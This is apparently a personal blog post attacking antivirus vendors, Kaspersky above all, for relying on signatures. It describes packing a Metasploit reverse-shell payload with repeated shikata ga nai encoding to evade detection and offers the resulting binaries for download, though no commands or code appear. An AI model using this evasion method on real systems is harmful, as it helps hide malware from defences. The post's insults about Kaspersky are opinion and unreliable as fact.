crazylazy.info

txt

Some AV Vendors Lack Efficiency

Once upon a time we were living in a world where creating protective technology, still called Anti-Virus, was a good thing to do. These days vendors seem to be too relaxed with the idea of selling the pig in a poke.
(Source: Roel Schouwenberg's rant ;) - yes I reversed his message)

Obscure security software closes Polypack?

The Kaspersky "researcher" doesn't seem to like the Polypack project, which simply demonstrated that especially Kaspersky's engine fails to detect packed (or encoded) malicious software because it's just signature dependent cheap-ware.
In my comparisons Kaspersky was among the worst engines on the market, which simply led to the decision to buy another one.
As long as we lack competitive results other people won't be able to test AV software according to their needs. Polypack now is restricted - a majority of people will not be able to draw these conclusions.
Surely this is provoked, because scanning a piece of software at VirusTotal reveals similar truth if you go through packing and encoding your binaries. In the following let's go through a short demonstration with msfencode:

For everybody who is unfamiliar with Metasploit:
msfpayload generates a "netcat binary" that opens a reverse shell on the target system at port 6666 which an attacker can connect to.
msfencode encodes the binary 23 times with shikata ga nai - simply a polymorphic XOR additive feedback encoding against a four byte key.

Now let's upload the payload_getme.exe to VirusTotal and check whether Kaspersky gets it:

A realistic test-case: a one minute malware

The binary:
download of the encoded binary
download of the unencoded binary

The details are

That's really dangerous

AntiVirus industry not only tries to establish a false sense of security to its users, it also suppresses research. Instead of going after academics who demonstrate the mistakes this industry makes, they should get up, and create something effective against "Malware". Now.
And instead of creating stupid signature-dependant cheap-ware there's stuff to learn from heuristics or behavior analysis.

However one might assume that marketing people do not want competitive analysis. Simply because as long as people fear they buy.
Instead of celebrating multi-million dollar parties and employing clueless people especially Kaspersky should redefine what they are: a security company or a mafia.

Have fun,
wishi